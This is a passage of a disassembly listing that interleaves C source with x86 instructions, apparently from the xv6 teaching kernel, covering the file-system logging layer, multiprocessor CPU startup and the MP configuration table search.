log.start = sb.logstart;
80102c18: a3 d4 26 11 80 mov %eax,0x801126d4
struct buf *buf = bread(log.dev, log.start);
80102c1d: 5a pop %edx
80102c1e: 50 push %eax
80102c1f: 53 push %ebx
80102c20: e8 ab d4 ff ff call 801000d0 <bread>
log.lh.n = lh->n;
80102c25: 8b 58 5c mov 0x5c(%eax),%ebx
for (i = 0; i < log.lh.n; i++) {
80102c28: 83 c4 10 add $0x10,%esp
80102c2b: 85 db test %ebx,%ebx
log.lh.n = lh->n;
80102c2d: 89 1d e8 26 11 80 mov %ebx,0x801126e8
for (i = 0; i < log.lh.n; i++) {
80102c33: 7e 1c jle 80102c51 <initlog+0x71>
80102c35: c1 e3 02 shl $0x2,%ebx
80102c38: 31 d2 xor %edx,%edx
80102c3a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
log.lh.block[i] = lh->block[i];
80102c40: 8b 4c 10 60 mov 0x60(%eax,%edx,1),%ecx
80102c44: 83 c2 04 add $0x4,%edx
80102c47: 89 8a e8 26 11 80 mov %ecx,-0x7feed918(%edx)
for (i = 0; i < log.lh.n; i++) {
80102c4d: 39 d3 cmp %edx,%ebx
80102c4f: 75 ef jne 80102c40 <initlog+0x60>
brelse(buf);
80102c51: 83 ec 0c sub $0xc,%esp
80102c54: 50 push %eax
80102c55: e8 86 d5 ff ff call 801001e0 <brelse>
static void
recover_from_log(void)
{
read_head();
install_trans(); // if committed, copy from log to disk
80102c5a: e8 81 fe ff ff call 80102ae0 <install_trans>
log.lh.n = 0;
80102c5f: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8
80102c66: 00 00 00
write_head(); // clear the log
80102c69: e8 12 ff ff ff call 80102b80 <write_head>
}
80102c6e: 83 c4 10 add $0x10,%esp
80102c71: 8b 5d fc mov -0x4(%ebp),%ebx
80102c74: c9 leave
80102c75: c3 ret
80102c76: 8d 76 00 lea 0x0(%esi),%esi
80102c79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102c80 <begin_op>:
}
// called at the start of each FS system call.
void
begin_op(void)
{
80102c80: 55 push %ebp
80102c81: 89 e5 mov %esp,%ebp
80102c83: 83 ec 14 sub $0x14,%esp
acquire(&log.lock);
80102c86: 68 a0 26 11 80 push $0x801126a0
80102c8b: e8 d0 18 00 00 call 80104560 <acquire>
80102c90: 83 c4 10 add $0x10,%esp
80102c93: eb 18 jmp 80102cad <begin_op+0x2d>
80102c95: 8d 76 00 lea 0x0(%esi),%esi
while(1){
if(log.committing){
sleep(&log, &log.lock);
80102c98: 83 ec 08 sub $0x8,%esp
80102c9b: 68 a0 26 11 80 push $0x801126a0
80102ca0: 68 a0 26 11 80 push $0x801126a0
80102ca5: e8 d6 11 00 00 call 80103e80 <sleep>
80102caa: 83 c4 10 add $0x10,%esp
if(log.committing){
80102cad: a1 e0 26 11 80 mov 0x801126e0,%eax
80102cb2: 85 c0 test %eax,%eax
80102cb4: 75 e2 jne 80102c98 <begin_op+0x18>
} else if(log.lh.n + (log.outstanding+1)*MAXOPBLOCKS > LOGSIZE){
80102cb6: a1 dc 26 11 80 mov 0x801126dc,%eax
80102cbb: 8b 15 e8 26 11 80 mov 0x801126e8,%edx
80102cc1: 83 c0 01 add $0x1,%eax
80102cc4: 8d 0c 80 lea (%eax,%eax,4),%ecx
80102cc7: 8d 14 4a lea (%edx,%ecx,2),%edx
80102cca: 83 fa 1e cmp $0x1e,%edx
80102ccd: 7f c9 jg 80102c98 <begin_op+0x18>
// this op might exhaust log space; wait for commit.
sleep(&log, &log.lock);
} else {
log.outstanding += 1;
release(&log.lock);
80102ccf: 83 ec 0c sub $0xc,%esp
log.outstanding += 1;
80102cd2: a3 dc 26 11 80 mov %eax,0x801126dc
release(&log.lock);
80102cd7: 68 a0 26 11 80 push $0x801126a0
80102cdc: e8 3f 19 00 00 call 80104620 <release>
break;
}
}
}
80102ce1: 83 c4 10 add $0x10,%esp
80102ce4: c9 leave
80102ce5: c3 ret
80102ce6: 8d 76 00 lea 0x0(%esi),%esi
80102ce9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102cf0 <end_op>:
// called at the end of each FS system call.
// commits if this was the last outstanding operation.
void
end_op(void)
{
80102cf0: 55 push %ebp
80102cf1: 89 e5 mov %esp,%ebp
80102cf3: 57 push %edi
80102cf4: 56 push %esi
80102cf5: 53 push %ebx
80102cf6: 83 ec 18 sub $0x18,%esp
int do_commit = 0;
acquire(&log.lock);
80102cf9: 68 a0 26 11 80 push $0x801126a0
80102cfe: e8 5d 18 00 00 call 80104560 <acquire>
log.outstanding -= 1;
80102d03: a1 dc 26 11 80 mov 0x801126dc,%eax
if(log.committing)
80102d08: 8b 35 e0 26 11 80 mov 0x801126e0,%esi
80102d0e: 83 c4 10 add $0x10,%esp
log.outstanding -= 1;
80102d11: 8d 58 ff lea -0x1(%eax),%ebx
if(log.committing)
80102d14: 85 f6 test %esi,%esi
log.outstanding -= 1;
80102d16: 89 1d dc 26 11 80 mov %ebx,0x801126dc
if(log.committing)
80102d1c: 0f 85 1a 01 00 00 jne 80102e3c <end_op+0x14c>
panic("log.committing");
if(log.outstanding == 0){
80102d22: 85 db test %ebx,%ebx
80102d24: 0f 85 ee 00 00 00 jne 80102e18 <end_op+0x128>
// begin_op() may be waiting for log space,
// and decrementing log.outstanding has decreased
// the amount of reserved space.
wakeup(&log);
}
release(&log.lock);
80102d2a: 83 ec 0c sub $0xc,%esp
log.committing = 1;
80102d2d: c7 05 e0 26 11 80 01 movl $0x1,0x801126e0
80102d34: 00 00 00
release(&log.lock);
80102d37: 68 a0 26 11 80 push $0x801126a0
80102d3c: e8 df 18 00 00 call 80104620 <release>
}
static void
commit()
{
if (log.lh.n > 0) {
80102d41: 8b 0d e8 26 11 80 mov 0x801126e8,%ecx
80102d47: 83 c4 10 add $0x10,%esp
80102d4a: 85 c9 test %ecx,%ecx
80102d4c: 0f 8e 85 00 00 00 jle 80102dd7 <end_op+0xe7>
struct buf *to = bread(log.dev, log.start+tail+1); // log block
80102d52: a1 d4 26 11 80 mov 0x801126d4,%eax
80102d57: 83 ec 08 sub $0x8,%esp
80102d5a: 01 d8 add %ebx,%eax
80102d5c: 83 c0 01 add $0x1,%eax
80102d5f: 50 push %eax
80102d60: ff 35 e4 26 11 80 pushl 0x801126e4
80102d66: e8 65 d3 ff ff call 801000d0 <bread>
80102d6b: 89 c6 mov %eax,%esi
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102d6d: 58 pop %eax
80102d6e: 5a pop %edx
80102d6f: ff 34 9d ec 26 11 80 pushl -0x7feed914(,%ebx,4)
80102d76: ff 35 e4 26 11 80 pushl 0x801126e4
for (tail = 0; tail < log.lh.n; tail++) {
80102d7c: 83 c3 01 add $0x1,%ebx
struct buf *from = bread(log.dev, log.lh.block[tail]); // cache block
80102d7f: e8 4c d3 ff ff call 801000d0 <bread>
80102d84: 89 c7 mov %eax,%edi
memmove(to->data, from->data, BSIZE);
80102d86: 8d 40 5c lea 0x5c(%eax),%eax
80102d89: 83 c4 0c add $0xc,%esp
80102d8c: 68 00 02 00 00 push $0x200
80102d91: 50 push %eax
80102d92: 8d 46 5c lea 0x5c(%esi),%eax
80102d95: 50 push %eax
80102d96: e8 85 19 00 00 call 80104720 <memmove>
bwrite(to); // write the log
80102d9b: 89 34 24 mov %esi,(%esp)
80102d9e: e8 fd d3 ff ff call 801001a0 <bwrite>
brelse(from);
80102da3: 89 3c 24 mov %edi,(%esp)
80102da6: e8 35 d4 ff ff call 801001e0 <brelse>
brelse(to);
80102dab: 89 34 24 mov %esi,(%esp)
80102dae: e8 2d d4 ff ff call 801001e0 <brelse>
for (tail = 0; tail < log.lh.n; tail++) {
80102db3: 83 c4 10 add $0x10,%esp
80102db6: 3b 1d e8 26 11 80 cmp 0x801126e8,%ebx
80102dbc: 7c 94 jl 80102d52 <end_op+0x62>
write_log(); // Write modified blocks from cache to log
write_head(); // Write header to disk -- the real commit
80102dbe: e8 bd fd ff ff call 80102b80 <write_head>
install_trans(); // Now install writes to home locations
80102dc3: e8 18 fd ff ff call 80102ae0 <install_trans>
log.lh.n = 0;
80102dc8: c7 05 e8 26 11 80 00 movl $0x0,0x801126e8
80102dcf: 00 00 00
write_head(); // Erase the transaction from the log
80102dd2: e8 a9 fd ff ff call 80102b80 <write_head>
acquire(&log.lock);
80102dd7: 83 ec 0c sub $0xc,%esp
80102dda: 68 a0 26 11 80 push $0x801126a0
80102ddf: e8 7c 17 00 00 call 80104560 <acquire>
wakeup(&log);
80102de4: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
log.committing = 0;
80102deb: c7 05 e0 26 11 80 00 movl $0x0,0x801126e0
80102df2: 00 00 00
wakeup(&log);
80102df5: e8 36 12 00 00 call 80104030 <wakeup>
release(&log.lock);
80102dfa: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102e01: e8 1a 18 00 00 call 80104620 <release>
80102e06: 83 c4 10 add $0x10,%esp
}
80102e09: 8d 65 f4 lea -0xc(%ebp),%esp
80102e0c: 5b pop %ebx
80102e0d: 5e pop %esi
80102e0e: 5f pop %edi
80102e0f: 5d pop %ebp
80102e10: c3 ret
80102e11: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
wakeup(&log);
80102e18: 83 ec 0c sub $0xc,%esp
80102e1b: 68 a0 26 11 80 push $0x801126a0
80102e20: e8 0b 12 00 00 call 80104030 <wakeup>
release(&log.lock);
80102e25: c7 04 24 a0 26 11 80 movl $0x801126a0,(%esp)
80102e2c: e8 ef 17 00 00 call 80104620 <release>
80102e31: 83 c4 10 add $0x10,%esp
}
80102e34: 8d 65 f4 lea -0xc(%ebp),%esp
80102e37: 5b pop %ebx
80102e38: 5e pop %esi
80102e39: 5f pop %edi
80102e3a: 5d pop %ebp
80102e3b: c3 ret
panic("log.committing");
80102e3c: 83 ec 0c sub $0xc,%esp
80102e3f: 68 24 78 10 80 push $0x80107824
80102e44: e8 47 d5 ff ff call 80100390 <panic>
80102e49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102e50 <log_write>:
// modify bp->data[]
// log_write(bp)
// brelse(bp)
void
log_write(struct buf *b)
{
80102e50: 55 push %ebp
80102e51: 89 e5 mov %esp,%ebp
80102e53: 53 push %ebx
80102e54: 83 ec 04 sub $0x4,%esp
int i;
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102e57: 8b 15 e8 26 11 80 mov 0x801126e8,%edx
{
80102e5d: 8b 5d 08 mov 0x8(%ebp),%ebx
if (log.lh.n >= LOGSIZE || log.lh.n >= log.size - 1)
80102e60: 83 fa 1d cmp $0x1d,%edx
80102e63: 0f 8f 9d 00 00 00 jg 80102f06 <log_write+0xb6>
80102e69: a1 d8 26 11 80 mov 0x801126d8,%eax
80102e6e: 83 e8 01 sub $0x1,%eax
80102e71: 39 c2 cmp %eax,%edx
80102e73: 0f 8d 8d 00 00 00 jge 80102f06 <log_write+0xb6>
panic("too big a transaction");
if (log.outstanding < 1)
80102e79: a1 dc 26 11 80 mov 0x801126dc,%eax
80102e7e: 85 c0 test %eax,%eax
80102e80: 0f 8e 8d 00 00 00 jle 80102f13 <log_write+0xc3>
panic("log_write outside of trans");
acquire(&log.lock);
80102e86: 83 ec 0c sub $0xc,%esp
80102e89: 68 a0 26 11 80 push $0x801126a0
80102e8e: e8 cd 16 00 00 call 80104560 <acquire>
for (i = 0; i < log.lh.n; i++) {
80102e93: 8b 0d e8 26 11 80 mov 0x801126e8,%ecx
80102e99: 83 c4 10 add $0x10,%esp
80102e9c: 83 f9 00 cmp $0x0,%ecx
80102e9f: 7e 57 jle 80102ef8 <log_write+0xa8>
if (log.lh.block[i] == b->blockno) // log absorbtion
80102ea1: 8b 53 08 mov 0x8(%ebx),%edx
for (i = 0; i < log.lh.n; i++) {
80102ea4: 31 c0 xor %eax,%eax
if (log.lh.block[i] == b->blockno) // log absorbtion
80102ea6: 3b 15 ec 26 11 80 cmp 0x801126ec,%edx
80102eac: 75 0b jne 80102eb9 <log_write+0x69>
80102eae: eb 38 jmp 80102ee8 <log_write+0x98>
80102eb0: 39 14 85 ec 26 11 80 cmp %edx,-0x7feed914(,%eax,4)
80102eb7: 74 2f je 80102ee8 <log_write+0x98>
for (i = 0; i < log.lh.n; i++) {
80102eb9: 83 c0 01 add $0x1,%eax
80102ebc: 39 c1 cmp %eax,%ecx
80102ebe: 75 f0 jne 80102eb0 <log_write+0x60>
break;
}
log.lh.block[i] = b->blockno;
80102ec0: 89 14 85 ec 26 11 80 mov %edx,-0x7feed914(,%eax,4)
if (i == log.lh.n)
log.lh.n++;
80102ec7: 83 c0 01 add $0x1,%eax
80102eca: a3 e8 26 11 80 mov %eax,0x801126e8
b->flags |= B_DIRTY; // prevent eviction
80102ecf: 83 0b 04 orl $0x4,(%ebx)
release(&log.lock);
80102ed2: c7 45 08 a0 26 11 80 movl $0x801126a0,0x8(%ebp)
}
80102ed9: 8b 5d fc mov -0x4(%ebp),%ebx
80102edc: c9 leave
release(&log.lock);
80102edd: e9 3e 17 00 00 jmp 80104620 <release>
80102ee2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
log.lh.block[i] = b->blockno;
80102ee8: 89 14 85 ec 26 11 80 mov %edx,-0x7feed914(,%eax,4)
80102eef: eb de jmp 80102ecf <log_write+0x7f>
80102ef1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80102ef8: 8b 43 08 mov 0x8(%ebx),%eax
80102efb: a3 ec 26 11 80 mov %eax,0x801126ec
if (i == log.lh.n)
80102f00: 75 cd jne 80102ecf <log_write+0x7f>
80102f02: 31 c0 xor %eax,%eax
80102f04: eb c1 jmp 80102ec7 <log_write+0x77>
panic("too big a transaction");
80102f06: 83 ec 0c sub $0xc,%esp
80102f09: 68 33 78 10 80 push $0x80107833
80102f0e: e8 7d d4 ff ff call 80100390 <panic>
panic("log_write outside of trans");
80102f13: 83 ec 0c sub $0xc,%esp
80102f16: 68 49 78 10 80 push $0x80107849
80102f1b: e8 70 d4 ff ff call 80100390 <panic>
80102f20 <mpmain>:
}
// Common CPU setup code.
static void
mpmain(void)
{
80102f20: 55 push %ebp
80102f21: 89 e5 mov %esp,%ebp
80102f23: 53 push %ebx
80102f24: 83 ec 04 sub $0x4,%esp
cprintf("cpu%d: starting %d\n", cpuid(), cpuid());
80102f27: e8 74 09 00 00 call 801038a0 <cpuid>
80102f2c: 89 c3 mov %eax,%ebx
80102f2e: e8 6d 09 00 00 call 801038a0 <cpuid>
80102f33: 83 ec 04 sub $0x4,%esp
80102f36: 53 push %ebx
80102f37: 50 push %eax
80102f38: 68 64 78 10 80 push $0x80107864
80102f3d: e8 1e d7 ff ff call 80100660 <cprintf>
idtinit(); // load idt register
80102f42: e8 29 2c 00 00 call 80105b70 <idtinit>
xchg(&(mycpu()->started), 1); // tell startothers() we're up
80102f47: e8 e4 08 00 00 call 80103830 <mycpu>
80102f4c: 89 c2 mov %eax,%edx
xchg(volatile uint *addr, uint newval)
{
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
80102f4e: b8 01 00 00 00 mov $0x1,%eax
80102f53: f0 87 82 a0 00 00 00 lock xchg %eax,0xa0(%edx)
scheduler(); // start running processes
80102f5a: e8 21 0c 00 00 call 80103b80 <scheduler>
80102f5f: 90 nop
80102f60 <mpenter>:
{
80102f60: 55 push %ebp
80102f61: 89 e5 mov %esp,%ebp
80102f63: 83 ec 08 sub $0x8,%esp
switchkvm();
80102f66: e8 f5 3c 00 00 call 80106c60 <switchkvm>
seginit();
80102f6b: e8 60 3c 00 00 call 80106bd0 <seginit>
lapicinit();
80102f70: e8 9b f7 ff ff call 80102710 <lapicinit>
mpmain();
80102f75: e8 a6 ff ff ff call 80102f20 <mpmain>
80102f7a: 66 90 xchg %ax,%ax
80102f7c: 66 90 xchg %ax,%ax
80102f7e: 66 90 xchg %ax,%ax
80102f80 <main>:
{
80102f80: 8d 4c 24 04 lea 0x4(%esp),%ecx
80102f84: 83 e4 f0 and $0xfffffff0,%esp
80102f87: ff 71 fc pushl -0x4(%ecx)
80102f8a: 55 push %ebp
80102f8b: 89 e5 mov %esp,%ebp
80102f8d: 53 push %ebx
80102f8e: 51 push %ecx
kinit1(end, P2V(4*1024*1024)); // phys page allocator
80102f8f: 83 ec 08 sub $0x8,%esp
80102f92: 68 00 00 40 80 push $0x80400000
80102f97: 68 a8 51 11 80 push $0x801151a8
80102f9c: e8 6f f4 ff ff call 80102410 <kinit1>
kvmalloc(); // kernel page table
80102fa1: e8 8a 41 00 00 call 80107130 <kvmalloc>
mpinit(); // detect other processors
80102fa6: e8 75 01 00 00 call 80103120 <mpinit>
lapicinit(); // interrupt controller
80102fab: e8 60 f7 ff ff call 80102710 <lapicinit>
seginit(); // segment descriptors
80102fb0: e8 1b 3c 00 00 call 80106bd0 <seginit>
picinit(); // disable pic
80102fb5: e8 46 03 00 00 call 80103300 <picinit>
ioapicinit(); // another interrupt controller
80102fba: e8 61 f2 ff ff call 80102220 <ioapicinit>
consoleinit(); // console hardware
80102fbf: e8 fc d9 ff ff call 801009c0 <consoleinit>
uartinit(); // serial port
80102fc4: e8 d7 2e 00 00 call 80105ea0 <uartinit>
pinit(); // process table
80102fc9: e8 42 08 00 00 call 80103810 <pinit>
tvinit(); // trap vectors
80102fce: e8 1d 2b 00 00 call 80105af0 <tvinit>
binit(); // buffer cache
80102fd3: e8 68 d0 ff ff call 80100040 <binit>
fileinit(); // file table
80102fd8: e8 83 dd ff ff call 80100d60 <fileinit>
ideinit(); // disk
80102fdd: e8 1e f0 ff ff call 80102000 <ideinit>
// Write entry code to unused memory at 0x7000.
// The linker has placed the image of entryother.S in
// _binary_entryother_start.
code = P2V(0x7000);
memmove(code, _binary_entryother_start, (uint)_binary_entryother_size);
80102fe2: 83 c4 0c add $0xc,%esp
80102fe5: 68 8a 00 00 00 push $0x8a
80102fea: 68 8c a4 10 80 push $0x8010a48c
80102fef: 68 00 70 00 80 push $0x80007000
80102ff4: e8 27 17 00 00 call 80104720 <memmove>
for(c = cpus; c < cpus+ncpu; c++){
80102ff9: 69 05 00 29 11 80 b0 imul $0xb0,0x80112900,%eax
80103000: 00 00 00
80103003: 83 c4 10 add $0x10,%esp
80103006: 05 a0 27 11 80 add $0x801127a0,%eax
8010300b: 3d a0 27 11 80 cmp $0x801127a0,%eax
80103010: 76 71 jbe 80103083 <main+0x103>
80103012: bb a0 27 11 80 mov $0x801127a0,%ebx
80103017: 89 f6 mov %esi,%esi
80103019: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
if(c == mycpu()) // We've started already.
80103020: e8 0b 08 00 00 call 80103830 <mycpu>
80103025: 39 d8 cmp %ebx,%eax
80103027: 74 41 je 8010306a <main+0xea>
continue;
// Tell entryother.S what stack to use, where to enter, and what
// pgdir to use. We cannot use kpgdir yet, because the AP processor
// is running in low memory, so we use entrypgdir for the APs too.
stack = kalloc();
80103029: e8 f2 f4 ff ff call 80102520 <kalloc>
*(void**)(code-4) = stack + KSTACKSIZE;
8010302e: 05 00 10 00 00 add $0x1000,%eax
*(void(**)(void))(code-8) = mpenter;
80103033: c7 05 f8 6f 00 80 60 movl $0x80102f60,0x80006ff8
8010303a: 2f 10 80
*(int**)(code-12) = (void *) V2P(entrypgdir);
8010303d: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4
80103044: 90 10 00
*(void**)(code-4) = stack + KSTACKSIZE;
80103047: a3 fc 6f 00 80 mov %eax,0x80006ffc
lapicstartap(c->apicid, V2P(code));
8010304c: 0f b6 03 movzbl (%ebx),%eax
8010304f: 83 ec 08 sub $0x8,%esp
80103052: 68 00 70 00 00 push $0x7000
80103057: 50 push %eax
80103058: e8 03 f8 ff ff call 80102860 <lapicstartap>
8010305d: 83 c4 10 add $0x10,%esp
// wait for cpu to finish mpmain()
while(c->started == 0)
80103060: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax
80103066: 85 c0 test %eax,%eax
80103068: 74 f6 je 80103060 <main+0xe0>
for(c = cpus; c < cpus+ncpu; c++){
8010306a: 69 05 00 29 11 80 b0 imul $0xb0,0x80112900,%eax
80103071: 00 00 00
80103074: 81 c3 b0 00 00 00 add $0xb0,%ebx
8010307a: 05 a0 27 11 80 add $0x801127a0,%eax
8010307f: 39 c3 cmp %eax,%ebx
80103081: 72 9d jb 80103020 <main+0xa0>
kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers()
80103083: 83 ec 08 sub $0x8,%esp
80103086: 68 00 00 00 8e push $0x8e000000
8010308b: 68 00 00 40 80 push $0x80400000
80103090: e8 0b f4 ff ff call 801024a0 <kinit2>
userinit(); // first user process
80103095: e8 56 08 00 00 call 801038f0 <userinit>
mpmain(); // finish this processor's setup
8010309a: e8 81 fe ff ff call 80102f20 <mpmain>
8010309f: 90 nop
801030a0 <mpsearch1>:
}
// Look for an MP structure in the len bytes at addr.
static struct mp*
mpsearch1(uint a, int len)
{
801030a0: 55 push %ebp
801030a1: 89 e5 mov %esp,%ebp
801030a3: 57 push %edi
801030a4: 56 push %esi
uchar *e, *p, *addr;
addr = P2V(a);
801030a5: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
{
801030ab: 53 push %ebx
e = addr+len;
801030ac: 8d 1c 16 lea (%esi,%edx,1),%ebx
{
801030af: 83 ec 0c sub $0xc,%esp
for(p = addr; p < e; p += sizeof(struct mp))
801030b2: 39 de cmp %ebx,%esi
801030b4: 72 10 jb 801030c6 <mpsearch1+0x26>
801030b6: eb 50 jmp 80103108 <mpsearch1+0x68>
801030b8: 90 nop
801030b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801030c0: 39 fb cmp %edi,%ebx
801030c2: 89 fe mov %edi,%esi
801030c4: 76 42 jbe 80103108 <mpsearch1+0x68>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
801030c6: 83 ec 04 sub $0x4,%esp
801030c9: 8d 7e 10 lea 0x10(%esi),%edi
801030cc: 6a 04 push $0x4
801030ce: 68 78 78 10 80 push $0x80107878
801030d3: 56 push %esi
801030d4: e8 e7 15 00 00 call 801046c0 <memcmp>
801030d9: 83 c4 10 add $0x10,%esp
801030dc: 85 c0 test %eax,%eax
801030de: 75 e0 jne 801030c0 <mpsearch1+0x20>
801030e0: 89 f1 mov %esi,%ecx
801030e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
sum += addr[i];
801030e8: 0f b6 11 movzbl (%ecx),%edx
801030eb: 83 c1 01 add $0x1,%ecx
801030ee: 01 d0 add %edx,%eax
for(i=0; i<len; i++)
801030f0: 39 f9 cmp %edi,%ecx
801030f2: 75 f4 jne 801030e8 <mpsearch1+0x48>
if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0)
801030f4: 84 c0 test %al,%al
801030f6: 75 c8 jne 801030c0 <mpsearch1+0x20>
return (struct mp*)p;
return 0;
}
801030f8: 8d 65 f4 lea -0xc(%ebp),%esp
801030fb: 89 f0 mov %esi,%eax
801030fd: 5b pop %ebx
801030fe: 5e pop %esi
801030ff: 5f pop %edi
80103100: 5d pop %ebp
80103101: c3 ret
80103102: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80103108: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
8010310b: 31 f6 xor %esi,%esi
}
8010310d: 89 f0 mov %esi,%eax
8010310f: 5b pop %ebx
80103110: 5e pop %esi
80103111: 5f pop %edi
80103112: 5d pop %ebp
80103113: c3 ret
80103114: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010311a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80103120 <mpinit>:
return conf;
}
void
mpinit(void)
{
80103120: 55 push %ebp
80103121: 89 e5 mov %esp,%ebp
80103123: 57 push %edi
80103124: 56 push %esi
80103125: 53 push %ebx
80103126: 83 ec 1c sub $0x1c,%esp
if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){
80103129: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax
80103130: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx
80103137: c1 e0 08 shl $0x8,%eax
8010313a: 09 d0 or %edx,%eax
8010313c: c1 e0 04 shl $0x4,%eax
8010313f: 85 c0 test %eax,%eax
80103141: 75 1b jne 8010315e <mpinit+0x3e>
p = ((bda[0x14]<<8)|bda[0x13])*1024;
80103143: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax
8010314a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx
80103151: c1 e0 08 shl $0x8,%eax
80103154: 09 d0 or %edx,%eax
80103156: c1 e0 0a shl $0xa,%eax
if((mp = mpsearch1(p-1024, 1024)))
80103159: 2d 00 04 00 00 sub $0x400,%eax
if((mp = mpsearch1(p, 1024)))
8010315e: ba 00 04 00 00 mov $0x400,%edx
80103163: e8 38 ff ff ff call 801030a0 <mpsearch1>
80103168: 85 c0 test %eax,%eax
8010316a: 89 45 e4 mov %eax,-0x1c(%ebp)
8010316d: 0f 84 3d 01 00 00 je 801032b0 <mpinit+0x190>
if((mp = mpsearch()) == 0 || mp->physaddr == 0)
80103173: 8b 45 e4 mov -0x1c(%ebp),%eax
80103176: 8b 58 04 mov 0x4(%eax),%ebx
80103179: 85 db test %ebx,%ebx
8010317b: 0f 84 4f 01 00 00 je 801032d0 <mpinit+0x1b0>
conf = (struct mpconf*) P2V((uint) mp->physaddr);
80103181: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi
if(memcmp(conf, "PCMP", 4) != 0)
80103187: 83 ec 04 sub $0x4,%esp
8010318a: 6a 04 push $0x4
8010318c: 68 95 78 10 80 push $0x80107895
80103191: 56 push %esi
80103192: e8 29 15 00 00 call 801046c0 <memcmp>
80103197: 83 c4 10 add $0x10,%esp
8010319a: 85 c0 test %eax,%eax
8010319c: 0f 85 2e 01 00 00 jne 801032d0 <mpinit+0x1b0>
if(conf->version != 1 && conf->version != 4)
801031a2: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax
801031a9: 3c 01 cmp $0x1,%al
801031ab: 0f 95 c2 setne %dl
801031ae: 3c 04 cmp $0x4,%al
801031b0: 0f 95 c0 setne %al
801031b3: 20 c2 and %al,%dl
801031b5: 0f 85 15 01 00 00 jne 801032d0 <mpinit+0x1b0>
if(sum((uchar*)conf, conf->length) != 0)
801031bb: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi
for(i=0; i<len; i++)
801031c2: 66 85 ff test %di,%di
801031c5: 74 1a je 801031e1 <mpinit+0xc1>
801031c7: 89 f0 mov %esi,%eax
801031c9: 01 f7 add %esi,%edi
sum = 0;
801031cb: 31 d2 xor %edx,%edx
801031cd: 8d 76 00 lea 0x0(%esi),%esi
sum += addr[i];
801031d0: 0f b6 08 movzbl (%eax),%ecx
801031d3: 83 c0 01 add $0x1,%eax
801031d6: 01 ca add %ecx,%edx
for(i=0; i<len; i++)
801031d8: 39 c7 cmp %eax,%edi
801031da: 75 f4 jne 801031d0 <mpinit+0xb0>
801031dc: 84 d2 test %dl,%dl
801031de: 0f 95 c2 setne %dl
struct mp *mp;
struct mpconf *conf;
struct mpproc *proc;
struct mpioapic *ioapic;
if((conf = mpconfig(&mp)) == 0)
801031e1: 85 f6 test %esi,%esi
801031e3: 0f 84 e7 00 00 00 je 801032d0 <mpinit+0x1b0>
801031e9: 84 d2 test %dl,%dl
801031eb: 0f 85 df 00 00 00 jne 801032d0 <mpinit+0x1b0>
panic("Expect to run on an SMP");
ismp = 1;
lapic = (uint*)conf->lapicaddr;
801031f1: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax
801031f7: a3 9c 26 11 80 mov %eax,0x8011269c
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
801031fc: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx
80103203: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax
ismp = 1;
80103209: bb 01 00 00 00 mov $0x1,%ebx
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
8010320e: 01 d6 add %edx,%esi
80103210: 39 c6 cmp %eax,%esi
80103212: 76 23 jbe 80103237 <mpinit+0x117>
switch(*p){
80103214: 0f b6 10 movzbl (%eax),%edx
80103217: 80 fa 04 cmp $0x4,%dl
8010321a: 0f 87 ca 00 00 00 ja 801032ea <mpinit+0x1ca>
80103220: ff 24 95 bc 78 10 80 jmp *-0x7fef8744(,%edx,4)
80103227: 89 f6 mov %esi,%esi
80103229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p += sizeof(struct mpioapic);
continue;
case MPBUS:
case MPIOINTR:
case MPLINTR:
p += 8;
80103230: 83 c0 08 add $0x8,%eax
for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){
80103233: 39 c6 cmp %eax,%esi
80103235: 77 dd ja 80103214 <mpinit+0xf4>
default:
ismp = 0;
break;
}
}
if(!ismp)
80103237: 85 db test %ebx,%ebx
80103239: 0f 84 9e 00 00 00 je 801032dd <mpinit+0x1bd>
panic("Didn't find a suitable machine");
if(mp->imcrp){
8010323f: 8b 45 e4 mov -0x1c(%ebp),%eax
80103242: 80 78 0c 00 cmpb $0x0,0xc(%eax)
80103246: 74 15 je 8010325d <mpinit+0x13d>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80103248: b8 70 00 00 00 mov $0x70,%eax
